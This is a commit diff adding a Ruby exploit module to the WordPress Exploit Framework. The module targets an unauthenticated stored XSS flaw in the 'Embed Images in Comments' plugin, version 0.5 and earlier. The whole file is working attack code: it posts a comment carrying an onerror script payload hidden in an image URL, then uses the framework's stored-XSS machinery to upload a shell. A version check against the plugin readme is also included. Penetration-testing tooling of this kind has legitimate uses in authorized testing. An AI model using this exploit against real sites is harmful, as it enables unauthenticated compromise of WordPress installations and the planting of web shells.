Add Embed Images in Comments <= 0.5 stored XSS shell upload

Author: rastating

modules/exploits/embed_comment_images_stored_xss_shell_upload.rb

@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::EmbedCommentImagesStoredXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::Comments
+  include Wpxf::WordPress::StoredXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Embed Images in Comments <= 0.5 Unauthenticated Stored XSS Shell Upload',
+      author: [
+        'Gennady',                        # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8891']
+      ],
+      date: 'Aug 17 2017'
+    )
+
+    wordpress_comments_register_options
+  end
+
+  def check
+    check_plugin_version_from_readme('embed-comment-images', '0.6')
+  end
+
+  def vulnerable_page
+    "#{full_uri}?p=#{datastore['comment_post_id']}#comment-#{comment_id}"
+  end
+
+  def comment_payload
+    "http://#{Utility::Text.rand_alpha(5)}.jpg\"onerror=\"#{xss_ascii_encoded_include_script}\".jpg"
+  end
+
+  def store_payload_in_comment
+    self.comment_id = wordpress_comments_post(
+      datastore['comment_post_id'],
+      "#{datastore['comment_content']}#{comment_payload}",
+      datastore['comment_author'],
+      datastore['comment_email'],
+      datastore['comment_website']
+    )
+  end
+
+  def store_script
+    store_payload_in_comment
+
+    # Craft a dummy HttpResponse to indicate success.
+    res = Wpxf::Net::HttpResponse.new(nil)
+    res.code = comment_id == -1 ? 404 : 200
+    emit_error('Failed to post comment', true) if comment_id == -1
+
+    res
+  end
+
+  attr_accessor :comment_id
+end